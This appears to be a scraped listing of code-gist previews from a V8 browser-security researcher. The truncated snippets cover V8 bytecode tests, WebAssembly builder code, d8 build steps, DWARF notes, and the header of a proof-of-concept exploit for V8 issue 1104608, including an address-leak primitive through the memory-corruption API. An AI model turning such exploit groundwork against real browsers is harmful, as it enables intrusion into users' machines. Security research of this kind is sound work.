test.js
var arr = new Array(1.1, 2.2, 3.3);
function test(obj) {
arr[0] = obj;
}
test({});Print bytecode of test function:
| d8.file.execute("wasm-module-builder.js"); | |
| let builder = new WasmModuleBuilder(); | |
| let array_type = builder.addArray(kWasmI32, true); | |
| builder.addFunction('create_array', makeSig([kWasmI32], [wasmRefType(array_type)])) | |
| .addBody([ | |
| kExprLocalGet, 0, | |
| kGCPrefix, kExprArrayNewDefault, array_type, | |
| ]) |
| // Build d8 using: | |
| // a) Run once | |
| // git checkout 6f98fbe86a0d11e6c902e2ee50f609db046daf71 | |
| // gclient sync | |
| // gn gen ./out/x64.debug | |
| // gn gen ./out/x64.release | |
| // | |
| // b) | |
| // Debug Build: | |
| // ninja -C ./out/x64.debug d8 |
| #include <stdint.h> | |
| #include <stdio.h> | |
| #include <stdlib.h> | |
| #include <stdbool.h> | |
| #include <windows.h> | |
| #include "nt_crap.h" | |
| #define ArrayCount(arr) (sizeof(arr)/sizeof(arr[0])) | |
| #define assert(expr) if(!(expr)) { *(char*)0 = 0; } |
| <?php header("Status: 204"); ?> |
| //v8 version 11.4.183.19 | |
| //git checkout 56e5481171da3eacd3cb83db2be3b2d2b96b4abb | |
| //MODIFY BUILD.gn in the root v8 folder to enable the memory corruption api | |
| //v8_expose_memory_corruption_api = true | |
| //ninja -C ./out/x64.debug d8 | |
| //ninja -C ./out/x64.release d8 | |
| const addr_of = (o) => { | |
| return Sandbox.getAddressOf(o); |
test.js
var arr = new Array(1.1, 2.2, 3.3);
function test(obj) {
arr[0] = obj;
}
test({});Print bytecode of test function:
| DWARF has a clever (too clever?) VM representation for source line to asm mapping. | |
| VM has state which represents virtual program and source line counters. | |
| The DW_LNS_advance_pc instruction advances the program counter while the DW_LNS_advance_line instruction | |
| advances the line counter. Both these instructions encode the "advance amount" value as a variably sized immediate operand. | |
| The DW_LNS_copy instructions tells us that current VM pc and source counter states correspond together | |
| both counter values can be copied to a array of line numbers and assembly addresses. When the VM reads a byte from the | |
| instruction stream it compares this value with a VM specified "opcode base" variable. If the value is below the "opcode base" | |
| then it represents an opcode for an instruction. If the value is above the "opcode base" then it represents the operand for | |
| an implicit "instruction". This special implicit "instruction" advances both the program and source line counters at once | |
| using this single byte value. But how |
| <script type="text/javascript" src="utility.js"></script> |
| // POC Exploit for v8 issue 1104608 (https://bugs.chromium.org/p/chromium/issues/detail?id=1104608) | |
| // author: @mistymntncop | |
| // bug discovered by: @r3tr0spect2019 | |
| // Exploit strategy based on @r3tr0spect2019's "Real World CTF" presentation on the bug. | |
| // https://www.youtube.com/watch?v=rSaIlBWwxsY | |
| // | |
| // Build d8 using: | |
| // a) Run once | |
| // git checkout 3505cf00eb4c59b87f4b5ec9fc702f7935fdffd0 | |
| // gclient sync --with_branch_heads |